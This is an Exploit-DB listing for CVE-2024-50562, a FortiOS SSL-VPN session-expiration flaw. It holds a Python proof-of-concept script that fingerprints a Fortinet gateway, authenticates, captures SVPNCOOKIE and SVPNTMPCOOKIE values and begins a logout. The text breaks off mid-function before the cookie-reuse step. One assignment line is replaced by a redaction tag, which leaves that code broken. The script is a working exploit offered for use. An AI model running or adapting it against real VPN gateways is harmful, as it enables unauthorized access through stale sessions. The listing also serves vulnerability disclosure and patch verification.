Exploit-DB #52336
Description: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
Type: remote
Platform: multiple
Date: 2025-06-20
Author: Shahid Hakim

Exploit:
#!/usr/bin/env python3
"""
# Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
# Date: 2025-06-15
# Exploit Author: Shahid Parvez Hakim (BugB Technologies)
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
# Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
# Tested on: FortiOS 7.4.x, 7.2.x
# CVE: CVE-2024-50562
# CVSS: 4.4 (Medium)
# Category: Session Management
# CWE: CWE-613 (Insufficient Session Expiration)

Description:
An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker 
to reuse stale session cookies after logout, potentially leading to unauthorized access.
The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.

References:
- https://fortiguard.com/psirt/FG-IR-24-339
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562

Usage:
python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]

Example:
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
"""

import argparse
import requests
import urllib3
import re
import sys
from urllib.parse import urlparse

# Disable SSL warnings for testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortinetExploit:
    def __init__(self, target, username, password, realm="", timeout=10, force=False):
        self.target = target
        self.username = username
        self.[CREDENTIAL_REDACTED]
        self.realm = realm
        self.timeout = timeout
        self.force = force
        self.base_url = f"https://{target}"
        self.session = None
        
    def banner(self):
        """Display exploit banner"""
        print("=" * 70)
        print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass")
        print("Author: Shahid Parvez Hakim (BugB Technologies)")
        print("CVSS: 4.4 (Medium) | FG-IR-24-339")
        print("=" * 70)
        print(f"Target: {self.target}")
        print(f"User: {self.username}")
        print("-" * 70)

    def validate_target(self):
        """Check if target is reachable and is Fortinet SSL-VPN"""
        try:
            print("[*] Validating target...")
            response = requests.get(f"{self.base_url}/remote/login", 
                                  verify=False, timeout=self.timeout)
            
            # More flexible detection for Fortinet SSL-VPN
            fortinet_indicators = [
                "fortinet", "fortigate", "forticlient",
                "sslvpn", "/remote/login", "SVPNCOOKIE",
                "logincheck", "hostcheck_install",
                "fgt_lang", "realm"
            ]
            
            response_text = response.text.lower()
            detected_indicators = [indicator for indicator in fortinet_indicators 
                                 if indicator in response_text]
            
            if detected_indicators:
                print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})")
                return True
            elif response.status_code == 200:
                print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway")
                return True
            else:
                print("[-] Target does not appear to be Fortinet SSL-VPN")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Connection failed: {e}")
            return False

    def attempt_login(self):
        """Attempt to authenticate with provided credentials"""
        try:
            print("[*] Attempting authentication...")
            
            self.session = requests.Session()
            self.session.verify = False
            
            # Get login page first
            self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
            
            # Attempt login
            login_data = {
                "ajax": "1",
                "username": self.username,
                "realm": self.realm,
                "credential": self.password
            }
            
            headers = {"Content-Type": "application/x-www-form-urlencoded"}
            
            response = self.session.post(f"{self.base_url}/remote/logincheck",
                                       data=login_data, headers=headers, 
                                       timeout=self.timeout)
            
            # Check if login was successful
            if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
                print("[+] Authentication successful!")
                
                # Extract and display cookies
                cookies = requests.utils.dict_from_cookiejar(response.cookies)
                self.display_cookies(cookies, "Login")
                
                return True, cookies
            else:
                print("[-] Authentication failed!")
                print(f"[!] Server response: {response.text[:100]}...")
                return False, {}
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Login request failed: {e}")
            return False, {}

    def perform_logout(self):
        """Perform logout and check cookie invalidation"""
        try:
            print("[*] Performing logout...")
            
            response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
            cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
            
            print("[+] Logout completed")
            self.display_cookies(